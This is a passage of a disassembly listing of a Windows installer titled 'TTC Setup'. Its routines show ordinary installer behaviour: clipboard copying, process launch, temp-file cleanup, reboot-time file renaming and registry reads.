loc_406018:				; CODE XREF: sub_405DE5+20Bj
		push	8
		push	dword_42F024
		call	edi	; ShowWindow
		cmp	dword_42F0AC, ebx
		jnz	short loc_406038
		mov	eax, dword_42ADF4
		push	ebx
		push	dword ptr [eax+34h]
		call	sub_405CAC

loc_406038:				; CODE XREF: sub_405DE5+243j
		push	1
		call	sub_4049A8

loc_40603F:				; CODE XREF: sub_405DE5+203j
		cmp	[ebp+arg_4], 7Bh
		jnz	short loc_406003
		cmp	[ebp+arg_8], esi
		jnz	short loc_406003
		push	ebx
		push	ebx
		push	1004h
		push	esi
		call	ds:dword_407248	; SendMessageA
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jle	loc_406158
		call	ds:dword_4071E8	; CreatePopupMenu
		push	0FFFFFFE1h
		push	ebx
		mov	edi, eax
		call	sub_4068D5
		push	eax
		push	1
		push	ebx
		push	edi
		call	ds:dword_4071E4	; AppendMenuA
		mov	eax, [ebp+arg_C]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406099
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	ds:dword_40719C	; GetWindowRect
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		jmp	short loc_4060A2
; ---------------------------------------------------------------------------

loc_406099:				; CODE XREF: sub_405DE5+29Fj
		movsx	ecx, ax
		shr	eax, 10h
		movsx	eax, ax

loc_4060A2:				; CODE XREF: sub_405DE5+2B2j
		push	ebx
		push	esi
		push	ebx
		push	eax
		push	ecx
		push	180h
		push	edi
		call	ds:dword_4071E0	; TrackPopupMenu
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		jnz	loc_406158
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_34], ebx
		mov	[ebp+var_28], offset dword_42BA18
		mov	[ebp+var_24], 0FFFh

loc_4060D2:				; CODE XREF: sub_405DE5+307j
		lea	eax, [ebp+var_3C]
		dec	esi
		push	eax
		push	esi
		push	102Dh
		push	[ebp+var_4]
		call	ds:dword_407248	; SendMessageA
		cmp	esi, ebx
		lea	edi, [edi+eax+2]
		jnz	short loc_4060D2
		push	ebx
		call	ds:dword_4071DC	; OpenClipboard
		call	ds:dword_4071D8	; EmptyClipboard
		push	edi
		push	42h
		call	ds:dword_4070D8	; GlobalAlloc
		push	eax
		mov	[ebp+arg_4], eax
		call	ds:dword_4070D4	; GlobalLock
		mov	esi, eax

loc_406110:				; CODE XREF: sub_405DE5+357j
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_28], esi
		push	eax
		push	ebx
		push	102Dh
		mov	[ebp+var_24], edi
		push	[ebp+var_4]
		call	ds:dword_407248	; SendMessageA
		push	esi
		call	sub_4068CF	; lstrlen
		add	esi, eax
		mov	word ptr [esi],	0A0Dh
		inc	esi
		inc	esi
		inc	ebx
		cmp	ebx, [ebp+arg_0]
		jl	short loc_406110
		push	[ebp+arg_4]
		call	ds:dword_4070D0	; GlobalUnlock
		push	[ebp+arg_4]
		push	1
		call	ds:dword_4071D4	; SetClipboardData
		call	ds:dword_4071D0	; CloseClipboard

loc_406158:				; CODE XREF: sub_405DE5+17Ej
					; sub_405DE5+19Cj ...
		xor	eax, eax
		jmp	loc_406011
sub_405DE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40615F	proc near		; CODE XREF: sub_404E2A+113p
					; sub_4068D5+17Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_407168
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short locret_406186
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]

locret_406186:				; CODE XREF: sub_40615F+13j
		leave
		retn	4
sub_40615F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40618A	proc near		; CODE XREF: sub_4020E9+A78p
					; start+2B4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		mov	dword_42D220, 44h
		call	ds:dword_407074	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4061AE
		test	al, 10h
		jnz	short loc_4061B1

loc_4061AE:				; CODE XREF: sub_40618A+1Ej
		mov	[ebp+arg_4], ecx

loc_4061B1:				; CODE XREF: sub_40618A+22j
		lea	eax, [ebp+var_10]
		push	eax
		push	offset dword_42D220
		push	[ebp+arg_4]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		push	ecx
		call	ds:dword_4070E0	; CreateProcessA
		test	eax, eax
		jz	short locret_4061DC
		push	[ebp+var_C]
		call	ds:dword_40706C	; CloseHandle
		mov	eax, [ebp+var_10]

locret_4061DC:				; CODE XREF: sub_40618A+44j
		leave
		retn	8
sub_40618A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4061E0	proc near		; CODE XREF: sub_403849+76p
					; sub_4049CF+1Ap ...
		jmp	ds:dword_4071F0
sub_4061E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4061E6	proc near		; CODE XREF: sub_404E2A+33p
					; sub_404E2A+17Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	400h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword_42E7F8
		call	ds:dword_4071F4	; GetDlgItemTextA
		retn	8
sub_4061E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_406202	proc near		; CODE XREF: sub_4020E9+465p
					; sub_4020E9+536p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, eax
		and	ecx, 0FFFFFh
		cmp	dword_42F0C0, 0
		jz	short loc_40621C
		shr	eax, 14h
		jnz	short locret_406241

loc_40621C:				; CODE XREF: sub_406202+13j
		cmp	dword_42F0C8, 0
		jz	short loc_40622B
		xor	ecx, 180000h

loc_40622B:				; CODE XREF: sub_406202+21j
		push	ecx
		push	offset aTtcSetup ; "TTC	Setup"
		push	[esp+8+arg_0]
		push	dword_42F024
		call	ds:dword_4071F8	; MessageBoxA

locret_406241:				; CODE XREF: sub_406202+18j
		retn	8
sub_406202	endp


; =============== S U B	R O U T	I N E =======================================



sub_406244	proc near		; CODE XREF: sub_4020E9+7BFp
					; sub_4020E9+B6Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	40h
		call	ds:dword_4070D8	; GlobalAlloc
		retn	4
sub_406244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406253	proc near		; CODE XREF: sub_4020E9+568p
					; sub_4041BC+1Fp ...

var_144		= dword	ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 144h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4064B0
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		and	edi, 1
		mov	[ebp+arg_0], edi
		jz	short loc_406288
		test	eax, eax
		jz	loc_4063C8
		test	byte ptr [ebp+arg_4], 2
		jz	loc_406384

loc_406288:				; CODE XREF: sub_406253+21j
		mov	esi, offset aCDocume1SriU_3 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		push	ebx
		push	esi
		call	sub_4068C9	; lstrcpy
		test	edi, edi
		mov	edi, ds:dword_40708C
		jz	short loc_4062A8
		push	offset a_	; "\\*.*"
		push	esi
		call	edi	; lstrcat
		jmp	short loc_4062AE
; ---------------------------------------------------------------------------

loc_4062A8:				; CODE XREF: sub_406253+49j
		push	ebx
		call	sub_406417

loc_4062AE:				; CODE XREF: sub_406253+53j
		push	offset dword_409038
		push	ebx
		call	edi	; lstrcat
		push	ebx
		call	sub_4068CF	; lstrlen
		mov	edi, eax
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		add	edi, ebx
		call	ds:dword_407114	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40637A

loc_4062D9:				; CODE XREF: sub_406253+11Aj
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4062F4
		cmp	[ebp+var_117], 2Eh
		jz	short loc_40635D
		cmp	[ebp+var_117], 0
		jz	short loc_40635D

loc_4062F4:				; CODE XREF: sub_406253+8Dj
		lea	eax, [ebp+var_118]
		push	eax
		push	edi
		call	sub_4068C9	; lstrcpy
		mov	eax, [ebp+var_144]
		test	al, 10h
		jz	short loc_406320
		mov	eax, [ebp+arg_4]
		and	eax, 3
		cmp	al, 3
		jnz	short loc_40635D
		push	[ebp+arg_4]
		push	ebx
		call	sub_406253
		jmp	short loc_40635D
; ---------------------------------------------------------------------------

loc_406320:				; CODE XREF: sub_406253+B6j
		and	al, 0FEh
		push	eax
		push	ebx
		call	ds:dword_407098	; SetFileAttributesA
		push	ebx
		call	ds:dword_407110	; DeleteFileA
		test	eax, eax
		jnz	short loc_406355
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_40634D
		push	ebx
		push	0FFFFFFF1h
		call	sub_405CAC
		push	0
		push	ebx
		call	sub_406606
		jmp	short loc_40635D
; ---------------------------------------------------------------------------

loc_40634D:				; CODE XREF: sub_406253+E6j
		inc	dword_42F0A8
		jmp	short loc_40635D
; ---------------------------------------------------------------------------

loc_406355:				; CODE XREF: sub_406253+E0j
		push	ebx
		push	0FFFFFFF2h
		call	sub_405CAC

loc_40635D:				; CODE XREF: sub_406253+96j
					; sub_406253+9Fj ...
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_407118	; FindNextFileA
		test	eax, eax
		jnz	loc_4062D9
		push	esi
		call	ds:dword_40711C	; FindClose

loc_40637A:				; CODE XREF: sub_406253+80j
		cmp	[ebp+arg_0], 0
		jz	short loc_406384
		and	byte ptr [edi-1], 0

loc_406384:				; CODE XREF: sub_406253+2Fj
					; sub_406253+12Bj
		xor	esi, esi
		cmp	[ebp+var_4], esi
		jz	short loc_4063C8
		cmp	[ebp+arg_0], esi
		jz	short loc_4063C8
		push	ebx
		call	sub_4063CF
		push	ebx
		call	ds:dword_4070E4	; RemoveDirectoryA
		test	eax, eax
		jnz	short loc_4063C0
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_4063B8
		push	ebx
		push	0FFFFFFF1h
		call	sub_405CAC
		push	esi
		push	ebx
		call	sub_406606
		jmp	short loc_4063C8
; ---------------------------------------------------------------------------

loc_4063B8:				; CODE XREF: sub_406253+152j
		inc	dword_42F0A8
		jmp	short loc_4063C8
; ---------------------------------------------------------------------------

loc_4063C0:				; CODE XREF: sub_406253+14Cj
		push	ebx
		push	0FFFFFFE5h
		call	sub_405CAC

loc_4063C8:				; CODE XREF: sub_406253+25j
					; sub_406253+136j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_406253	endp


; =============== S U B	R O U T	I N E =======================================



sub_4063CF	proc near		; CODE XREF: sub_4020E9+3A0p
					; sub_4020E9+1305p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4068CF	; lstrlen
		add	eax, esi
		push	eax
		push	esi
		call	ds:dword_4071FC	; CharPrevA
		cmp	byte ptr [eax],	5Ch
		jz	short loc_4063F5
		push	offset dword_409038
		push	esi
		call	ds:dword_40708C	; lstrcat

loc_4063F5:				; CODE XREF: sub_4063CF+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_4063CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4063FB	proc near		; CODE XREF: sub_4020E9+1BAp start+BDp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		jmp	short loc_40640E
; ---------------------------------------------------------------------------

loc_406401:				; CODE XREF: sub_4063FB+17j
		cmp	cl, [esp+arg_4]
		jz	short locret_406414
		push	eax
		call	ds:dword_40717C	; CharNextA

loc_40640E:				; CODE XREF: sub_4063FB+4j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_406401

locret_406414:				; CODE XREF: sub_4063FB+Aj
		retn	8
sub_4063FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_406417	proc near		; CODE XREF: sub_4038D5+61p start+288p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4068CF	; lstrlen
		add	eax, esi

loc_406424:				; CODE XREF: sub_406417+1Cj
		cmp	byte ptr [eax],	5Ch
		jz	short loc_406435
		push	eax
		push	esi
		call	ds:dword_4071FC	; CharPrevA
		cmp	eax, esi
		ja	short loc_406424

loc_406435:				; CODE XREF: sub_406417+10j
		and	byte ptr [eax],	0
		pop	esi
		retn	4
sub_406417	endp


; =============== S U B	R O U T	I N E =======================================



sub_40643C	proc near		; CODE XREF: sub_4020E9+37Dp
					; sub_4020E9+CC3p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	al, [ecx]
		or	al, 20h
		cmp	word ptr [ecx],	5C5Ch
		jz	short loc_40645D
		cmp	al, 61h
		jl	short loc_406459
		cmp	al, 7Ah
		jg	short loc_406459
		cmp	byte ptr [ecx+1], 3Ah
		jz	short loc_40645D

loc_406459:				; CODE XREF: sub_40643C+11j
					; sub_40643C+15j
		xor	eax, eax
		jmp	short locret_406460
; ---------------------------------------------------------------------------

loc_40645D:				; CODE XREF: sub_40643C+Dj
					; sub_40643C+1Bj
		xor	eax, eax
		inc	eax

locret_406460:				; CODE XREF: sub_40643C+1Fj
		retn	4
sub_40643C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406463	proc near		; CODE XREF: sub_4020E9+1A8p
					; sub_404E2A+52p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_40717C
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	esi	; CharNextA
		mov	ebx, eax
		push	ebx
		call	esi	; CharNextA
		cmp	byte ptr [edi],	0
		jz	short loc_406489
		cmp	word ptr [ebx],	5C3Ah
		jnz	short loc_406489
		push	eax
		call	esi	; CharNextA
		jmp	short loc_4064AA
; ---------------------------------------------------------------------------

loc_406489:				; CODE XREF: sub_406463+18j
					; sub_406463+1Fj
		cmp	word ptr [edi],	5C5Ch
		jnz	short loc_4064A8
		push	2
		pop	esi

loc_406493:				; CODE XREF: sub_406463+41j
		push	5Ch
		push	eax
		dec	esi
		call	sub_4063FB
		cmp	byte ptr [eax],	0
		jz	short loc_4064A8
		inc	eax
		test	esi, esi
		jnz	short loc_406493
		jmp	short loc_4064AA
; ---------------------------------------------------------------------------

loc_4064A8:				; CODE XREF: sub_406463+2Bj
					; sub_406463+3Cj
		xor	eax, eax

loc_4064AA:				; CODE XREF: sub_406463+24j
					; sub_406463+43j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_406463	endp


; =============== S U B	R O U T	I N E =======================================



sub_4064B0	proc near		; CODE XREF: start+191p sub_4041E1+25p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, offset aC	; "C:\\"
		push	esi
		call	sub_4068C9	; lstrcpy
		push	esi
		call	sub_406463
		test	eax, eax
		jnz	short loc_4064CF

loc_4064CB:				; CODE XREF: sub_4064B0+2Cj
					; sub_4064B0+31j ...
		xor	eax, eax
		jmp	short loc_40651E
; ---------------------------------------------------------------------------

loc_4064CF:				; CODE XREF: sub_4064B0+19j
		test	byte ptr dword_42F030, 80h
		jz	short loc_4064E3
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4064CB
		cmp	cl, 5Ch
		jz	short loc_4064CB

loc_4064E3:				; CODE XREF: sub_4064B0+26j
		mov	edi, eax
		sub	edi, esi
		jmp	short loc_4064FD
; ---------------------------------------------------------------------------

loc_4064E9:				; CODE XREF: sub_4064B0+56j
		call	sub_406BAB
		test	eax, eax
		jz	short loc_4064F7
		test	byte ptr [eax],	10h
		jz	short loc_4064CB

loc_4064F7:				; CODE XREF: sub_4064B0+40j
		push	esi
		call	sub_406417

loc_4064FD:				; CODE XREF: sub_4064B0+37j
		push	esi
		call	sub_4068CF	; lstrlen
		cmp	eax, edi
		push	esi
		jg	short loc_4064E9
		call	sub_4063CF
		push	esi
		call	ds:dword_407074	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx

loc_40651E:				; CODE XREF: sub_4064B0+1Dj
		pop	edi
		pop	esi
		retn	4
sub_4064B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_406523	proc near		; CODE XREF: sub_406606+126p
					; sub_406606+193p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		call	sub_4068CF	; lstrlen
		mov	edi, eax
		mov	esi, [esp+0Ch+arg_0]
		jmp	short loc_406559
; ---------------------------------------------------------------------------

loc_406537:				; CODE XREF: sub_406523+3Ej
		push	[esp+0Ch+arg_4]
		mov	bl, [edi+esi]
		and	byte ptr [edi+esi], 0
		push	esi
		call	ds:dword_407068	; lstrcmpi
		test	eax, eax
		mov	[edi+esi], bl
		jz	short loc_40656B
		push	esi
		call	ds:dword_40717C	; CharNextA
		mov	esi, eax

loc_406559:				; CODE XREF: sub_406523+12j
		push	esi
		call	sub_4068CF	; lstrlen
		cmp	eax, edi
		jge	short loc_406537
		xor	eax, eax

loc_406565:				; CODE XREF: sub_406523+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------

loc_40656B:				; CODE XREF: sub_406523+2Bj
		mov	eax, esi
		jmp	short loc_406565
sub_406523	endp


; =============== S U B	R O U T	I N E =======================================



sub_40656F	proc near		; CODE XREF: sub_401000+2F9p
					; sub_401A8F+32p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jle	short loc_40658B
		mov	eax, [esp+4+arg_4]
		sub	eax, ecx

loc_406582:				; CODE XREF: sub_40656F+1Aj
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_406582

loc_40658B:				; CODE XREF: sub_40656F+Bj
		pop	esi
		retn	0Ch
sub_40656F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40658F	proc near		; CODE XREF: sub_4020E9+415p
					; sub_4020E9+10F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		call	ds:dword_407074	; GetFileAttributesA
		mov	ecx, eax
		push	0
		inc	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[esp+8+arg_8]
		push	0
		push	1
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	ds:dword_4070E8	; CreateFileA
		retn	0Ch
sub_40658F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4065BE	proc near		; CODE XREF: sub_4020E9+35Dp
					; sub_403DE8+2Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	64h
		pop	edi

loc_4065C9:				; CODE XREF: sub_4065BE+39j
		dec	edi
		mov	[ebp+arg_0], 61736Eh
		call	ds:dword_4070A8	; GetTickCount
		push	1Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		push	esi
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		push	[ebp+arg_4]
		add	byte ptr [ebp+arg_0+2],	dl
		call	ds:dword_4070EC	; GetTempFileNameA
		test	eax, eax
		jnz	short loc_406602
		test	edi, edi
		jnz	short loc_4065C9
		and	byte ptr [esi],	0

loc_4065FC:				; CODE XREF: sub_4065BE+46j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------

loc_406602:				; CODE XREF: sub_4065BE+35j
		mov	eax, esi
		jmp	short loc_4065FC
sub_4065BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_406606	proc near		; CODE XREF: sub_4020E9+2B3p
					; start+26Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	ds:dword_407134	; GetModuleHandleA
		test	eax, eax
		mov	esi, [esp+10h+arg_4]
		jz	short loc_40663E
		push	offset aMovefileexa ; "MoveFileExA"
		push	eax
		call	ds:dword_40713C	; GetProcAddress
		test	eax, eax
		jz	short loc_40663E
		push	5
		push	esi
		push	[esp+18h+arg_0]
		call	eax
		test	eax, eax
		jnz	loc_406783

loc_40663E:				; CODE XREF: sub_406606+15j
					; sub_406606+25j
		mov	ebx, ds:dword_407080
		mov	dword_42DBA8, 4C554Eh
		test	esi, esi
		mov	edi, 400h
		mov	ebp, offset dword_42DBA8
		jz	short loc_406682
		push	1
		push	0
		push	esi
		call	sub_40658F
		push	eax
		call	ds:dword_40706C	; CloseHandle
		push	edi
		push	ebp
		push	esi
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_406789
		cmp	eax, edi
		jg	loc_406789

loc_406682:				; CODE XREF: sub_406606+54j
		mov	esi, offset dword_42D7A8
		push	edi
		push	esi
		push	[esp+18h+arg_0]
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_406789
		cmp	eax, edi
		jg	loc_406789
		push	esi
		push	ebp
		push	offset aSS_0	; "%s=%s\r\n"
		push	offset dword_42D3A8
		call	ds:dword_40721C	; wsprintfA
		add	esp, 10h
		mov	ebp, eax
		push	3F0h
		push	esi
		call	ds:dword_4070C0	; GetWindowsDirectoryA
		push	offset aWininit_ini ; "\\wininit.ini"
		push	esi
		call	ds:dword_40708C	; lstrcat
		xor	edi, edi
		push	edi
		push	8000080h
		push	4
		push	edi
		push	edi
		push	0C0000000h
		push	esi
		call	ds:dword_4070E8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406783
		push	edi
		push	ebx
		call	ds:dword_4070A0	; GetFileSize
		mov	esi, eax
		push	edi
		lea	eax, [esi+ebp+0Ah]
		push	eax
		push	edi
		push	4
		push	edi
		push	ebx
		call	ds:dword_4070FC	; CreateFileMappingA
		cmp	eax, edi
		mov	[esp+10h+arg_0], eax
		jz	short loc_40676B
		push	edi
		push	edi
		push	edi
		push	2
		push	eax
		call	ds:dword_4070F8	; MapViewOfFile
		mov	edi, eax
		test	edi, edi
		jz	short loc_40675F
		push	offset aRename	; "[Rename]\r\n"
		push	edi
		call	sub_406523
		test	eax, eax
		jnz	short loc_406790
		lea	eax, [edi+esi]
		push	offset aRename	; "[Rename]\r\n"
		push	eax
		call	sub_4068C9	; lstrcpy
		add	esi, 0Ah

loc_406746:				; CODE XREF: sub_406606+19Aj
		mov	eax, esi

loc_406748:				; CODE XREF: sub_406606+1B5j
		push	ebp
		add	eax, edi
		push	offset dword_42D3A8
		push	eax
		call	sub_40656F
		push	edi
		add	esi, ebp
		call	ds:dword_4070F4	; UnmapViewOfFile

loc_40675F:				; CODE XREF: sub_406606+11Ej
		push	[esp+10h+arg_0]
		call	ds:dword_40706C	; CloseHandle
		xor	edi, edi

loc_40676B:				; CODE XREF: sub_406606+10Cj
		push	edi
		push	edi
		push	esi
		push	ebx
		call	ds:dword_407120	; SetFilePointer
		push	ebx
		call	ds:dword_4070F0	; SetEndOfFile
		push	ebx
		call	ds:dword_40706C	; CloseHandle

loc_406783:				; CODE XREF: sub_406606+32j
					; sub_406606+E5j
		inc	dword_42F0B0

loc_406789:				; CODE XREF: sub_406606+6Ej
					; sub_406606+76j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------

loc_406790:				; CODE XREF: sub_406606+12Dj
		add	eax, 0Ah
		push	offset asc_409328 ; "\n["
		push	eax
		call	sub_406523
		test	eax, eax
		jz	short loc_406746
		inc	eax
		lea	edx, [edi+esi]
		cmp	eax, edx
		mov	ecx, eax
		jnb	short loc_4067B9

loc_4067AC:				; CODE XREF: sub_406606+1B1j
		mov	dl, [ecx]
		mov	[ecx+ebp], dl
		inc	ecx
		lea	edx, [edi+esi]
		cmp	ecx, edx
		jb	short loc_4067AC

loc_4067B9:				; CODE XREF: sub_406606+1A4j
		sub	eax, edi
		jmp	short loc_406748
sub_406606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067BD	proc near		; CODE XREF: sub_4041E1+52p
					; sub_4068D5+DAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		lea	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_C]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	[ebp+arg_4]
		mov	[esi], bl
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_406821
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 400h
		push	eax
		lea	eax, [ebp+arg_C]
		push	esi
		push	eax
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	ds:dword_407004	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_406810
		cmp	[ebp+arg_C], 1
		jz	short loc_406812
		cmp	[ebp+arg_C], 2
		jz	short loc_406812

loc_406810:				; CODE XREF: sub_4067BD+45j
		mov	[esi], bl

loc_406812:				; CODE XREF: sub_4067BD+4Bj
					; sub_4067BD+51j
		push	[ebp+arg_4]
		mov	[esi+3FFh], bl
		call	ds:dword_40701C	; RegCloseKey

loc_406821:				; CODE XREF: sub_4067BD+24j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4067BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_406827	proc near		; CODE XREF: sub_4020E9+AE8p
					; sub_4020E9+B23p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	offset aD	; "%d"
		push	[esp+8+arg_0]
		call	ds:dword_40721C	; wsprintfA
		add	esp, 0Ch
		retn	8
sub_406827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406840	proc near		; CODE XREF: sub_40201D+39p
					; sub_4020E9+9Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	byte ptr [ecx],	2Dh
		mov	[ebp+var_4], 1
		mov	al, 0Ah
		mov	bl, 39h
		jnz	short loc_406861
		inc	ecx
		or	[ebp+var_4], 0FFFFFFFFh

loc_406861:				; CODE XREF: sub_406840+1Aj
		cmp	byte ptr [ecx],	30h
		jnz	short loc_406882
		inc	ecx
		mov	dl, [ecx]
		cmp	dl, 30h
		jl	short loc_406877
		cmp	dl, 37h
		jg	short loc_406877
		mov	al, 8
		mov	bl, 37h

loc_406877:				; CODE XREF: sub_406840+2Cj
					; sub_406840+31j
		and	dl, 0DFh
		cmp	dl, 58h
		jnz	short loc_406882
		mov	al, 10h
		inc	ecx

loc_406882:				; CODE XREF: sub_406840+24j
					; sub_406840+3Dj ...
		movsx	edx, byte ptr [ecx]
		inc	ecx
		cmp	edx, 30h
		jl	short loc_406897
		movsx	esi, bl
		cmp	edx, esi
		jg	short loc_406897
		sub	edx, 30h
		jmp	short loc_4068B0
; ---------------------------------------------------------------------------

loc_406897:				; CODE XREF: sub_406840+49j
					; sub_406840+50j
		cmp	al, 10h
		jnz	short loc_4068BC
		mov	esi, edx
		and	esi, 0FFFFFFDFh
		cmp	esi, 41h
		jl	short loc_4068BC
		cmp	esi, 46h
		jg	short loc_4068BC
		and	edx, 7
		add	edx, 9

loc_4068B0:				; CODE XREF: sub_406840+55j
		movsx	esi, al
		imul	esi, edi
		add	esi, edx
		mov	edi, esi
		jmp	short loc_406882
; ---------------------------------------------------------------------------

loc_4068BC:				; CODE XREF: sub_406840+59j
					; sub_406840+63j ...
		mov	eax, [ebp+var_4]
		imul	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4068C9	proc near		; CODE XREF: sub_4020E9+202p
					; sub_4020E9+248p ...
		jmp	ds:dword_407100
sub_4068C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4068CF	proc near		; CODE XREF: sub_4020E9+250p
					; sub_4020E9+25Ap ...
		jmp	ds:dword_407104
sub_4068CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068D5	proc near		; CODE XREF: sub_4020E9+449p
					; sub_4020E9+504p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		test	eax, eax
